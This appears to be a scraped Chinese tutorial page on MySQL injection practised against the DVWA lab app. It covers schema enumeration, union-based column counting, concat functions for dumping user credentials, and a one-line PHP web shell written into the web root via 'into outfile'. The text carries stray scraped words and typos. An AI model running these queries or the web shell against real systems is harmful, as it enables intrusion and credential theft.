1 MySQL內置information schema數據庫結構
Mysql 內置的系統數據庫INFORMATION-SCHEMA , 其結構如MSSQL 中的master 數據庫, 其中記錄了MySQL中全部存在數據庫名、數據庫表、表字段,
其中, 關鍵的三個表爲:php
- SCHEMATA : 存儲數據庫名的表
- Tables : 存儲數據庫以及數據庫中的表名
- columns : 存儲數據庫、表、以及表中的字段。
1.1 schemata >>>存取數據庫名的表
select schema_name from information_schema.schemata; #查數據庫名html
![](http://static.javashuo.com/static/loading.gif)
1.2 tables >>>存儲表名
- 字段:table_schema >>>表示該表名屬於哪一個數據庫名
- 字段:table_name >>>存儲表的表名
select table_name from information_schema.tables where table_schema = 'dvwa'; #查表名sql
![](http://static.javashuo.com/static/loading.gif)
1.3 columns >>>存儲的字段名錶
- 字段:table_schema >>>該字段所屬數據庫名
- 字段:table_name >>>存儲所屬表的名稱
- 字段:column_name >>>該字段的名稱
select column_name from information_schema.columns where table_name ='users' and table_schema='dvwa'; #查字段名數據庫
![](http://static.javashuo.com/static/loading.gif)
1.4 查字段內容
select user,password from dvwa.users;服務器
![](http://static.javashuo.com/static/loading.gif)
https://www.sohu.com/a/331058431_609556session
2 MySQL注入經常使用函數和語句
2.1 查詢服務器主機信息
- @@hostname 主機名稱
- @@datadir 數據庫路徑
- @@version_compile_os 操做系統版本
select @@hostname, @@datadir,@@version_compile_os;
函數
2.2 查詢數據庫版本信息
- select version() 數據庫版本信息
- select @@version 數據庫版本信息
- select @@global.version 數據庫版本信息
- select database() 查看當前數據庫名稱
select version(),@@version,@@global.version,database();
spa
2.3 查詢數據庫用戶信息
- user() 系統用戶和登陸主機名
- current_user() 當前登陸用戶和登陸主機名
- system_user() 數據庫系統用戶帳戶名稱和登陸主機名
- session_user() 當前會話用戶名和登陸主機名
select user(),current_user(),system_user(),session_user() ;
操作系統
2.4 枚舉數據庫內容
- Select * from information_schema. schemata; / / 爆出數據庫
- Select table_name from information_schema.tables where table_schema= 'dvwa'; / / 爆出指定數據庫dvwa的全部表名
- Select column_name from information_schama.columns where table_name= 'users'; / / 爆出dvwa 指定表users 的全部字段名
- select (user, password) from dvwa. users; / / 爆出數據庫users 內容,
- select '<?php eval($_POST[cmd])?>' into outfile '/var/www/html/dvwa/1. php'; //將< >中的內容寫到'/var/www/html/dvwa/1. php'這個文件中去,至關於藉助數據庫將內容上傳到服務器。一句話木馬
2.5 聯合查詢語句
- order by n / / 判斷當前查詢結果的列數, 配合union 實用。
- order by n+1; // 讓n 一直增長直到出現錯誤頁面。
- Union 聯合查詢 union select......
select user,password from dvwa.users order by 3;3d
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
3 concat, concat ws, group_concat 函數
在實際注入中, 巧妙藉助concat , concat_ws , group_concat 函數, 能夠將注入結果更好的顯示在頁面中。
3.1 Conacat() 和concat_ws()
- concat(str1,str2......) 沒有分隔符串聯多列結果。
- concat_ws ( separator,str1,str2......) 含有分隔符地串聯多列結果
上述兩個函數功能很是相似, 只是在分隔符上的區別.
- 應用場景: 查詢結果只有一行, 一列或多列數據。
- Concat() 和concat_ws()函數的對比, 二者都可以將一行多列的數據鏈接爲一列, 區別concat() 鏈接沒有鏈接符號。Concat_ws() 能夠定義鏈接符,用分隔符將結果鏈接起來。以下圖所示:
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
注: //0x3a 是「: 」 的十六進制, 這裏把它做爲分隔符: 的hex 值
3.2 gcpup_concat(str1,str2,......)
- group_concat(str1,str2,......) 用逗號,串聯多行結果爲一行, 每行結果用逗號串聯
- 應用場景: 查詢結果有一行或多行,一列或多列數據。group_concat()能夠將多行多列查詢結果, 顯示在一行一列, 而且多行結果之間用逗號分隔。與concat_ws() 區別能夠在
注: //0x3a 是「 :」 的十六進制, 在這裏把它做爲分隔符:的hex 值
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)